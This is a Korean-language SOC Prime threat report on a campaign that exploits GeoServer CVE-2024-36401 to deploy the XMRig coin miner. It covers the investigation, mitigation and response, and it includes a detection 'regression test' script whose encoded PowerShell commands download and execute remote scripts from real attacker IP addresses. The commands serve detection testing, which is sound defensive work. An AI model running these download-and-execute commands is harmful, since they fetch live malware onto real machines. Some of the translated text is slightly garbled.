SOC Prime Bias: Critical

23 Dec 2025 10:38 UTC

GeoServer 공격받다: 악성코드 코인 마이너 캠페인

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
GeoServer 공격받다: 악성코드 코인 마이너 캠페인
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

위협 행위자들은 GeoServer의 원격 코드 실행 취약점 CVE-2024-36401을 활용하여 암호화폐 채굴기와 NetCat을 패치되지 않은 서버에 배포하고 있습니다. 이 활동은 여러 악성 도메인과 IP 주소에서 XMRig을 다운로드하고 실행하기 위해 PowerShell, Bash, 및 certutil을 사용합니다. 여러 다운로더 스크립트와 드로퍼가 사용되며, 일반적으로 ZIP 아카이브로 패키지화되어 NSSM을 통해 서비스로 지속됩니다. 주요 목표는 무단 채굴을 위한 컴퓨팅 자원을 확보하는 것입니다.

조사

보고서는 인코딩된 PowerShell, Bash 기반 페쳐, 및 certutil을 사용하여 채굴기 페이로드를 가져오는 세 가지 변종(A, B, C)을 설명합니다. pool.supportxmr.com 및 여러 aaaaaaaaa.cyou 하위 도메인입니다. 전달 메커니즘에는 배치 스크립트, ZIP 번들, 그리고 시스템d라는 맞춤형 다운로더와 HTTP 기본 인증 자격 증명이 포함됩니다. 분석가는 탐지 및 범위를 지원하기 위해 주요 지표—URL, IP 주소, 파일 이름—를 추출했습니다.

완화

CVE-2024-36401를 해결하는 GeoServer 패치를 적용하고 최신 지원 릴리스로 배포를 유지하세요. 알려진 채굴 풀 및 관련 인프라에 대한 아웃바운드 연결을 차단하고 인코딩된 PowerShell 또는 Bash 실행을 모니터링하세요. 비관리자 컨텍스트의 certutil 사용을 제한하고 NSSM을 통해 설치된 무단 서비스의 방지를 위해 애플리케이션 허용 목록을 강제하세요.

응답

관측된 명령줄, 해시, 네트워크 지표에 대한 탐지를 구현하세요. 영향을 받은 호스트를 격리하고 채굴기 서비스 및 지속성 아티팩트를 제거하며 부차적인 페이로드가 있는지 포렌식 조사를 수행하세요. 노출된 자격 증명을 교체하고 관리 액세스를 위해 다중 요소 인증을 요구하세요.

공격 흐름

시뮬레이션 실행

사전 요구 사항: Telemetry & Baseline Pre-flight Check가 통과해야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적 배술 기법(TTP)의 정확한 실행을 상세히 설명합니다. 명령 및 서사는 식별된 TTP와 직접적으로 반영되며 탐지 논리에 의해 예상되는 정확한 텔레메터리를 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령:
    공격자는 취약한 GeoServer 구성 파일을 다운로드하고 이를 실행한 후 암호화폐 채굴기를 드롭하는 악성 Base64 페이로드를 획득했습니다. 단순한 스크립트-차단 탐지를 피하기 위해, 공격자는 -enc 스위치를 미리 인코딩된 문자열(두 개의 알려진 IOC 중 하나)과 함께 사용합니다. 공격자는 손상된 Windows 호스트에서 로컬로 페이로드를 실행하며, 이는 규칙이 감시하는 정확한 Base64 문자열을 포함한 powershell.exe 프로세스 생성을 유발합니다.

  • 회귀 테스트 스크립트:

     # -------------------------------------------------
      #  Sigma 규칙을 트리거하는 회귀 스크립트
      # -------------------------------------------------
      # 페이로드 1 (첫 번째 IOC와 일치)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # 페이로드 2 (두 번째 IOC와 일치)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • 정리 명령:

     # -------------------------------------------------
      #  정리 - 남아있는 모든 PowerShell 페이로드 종료
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force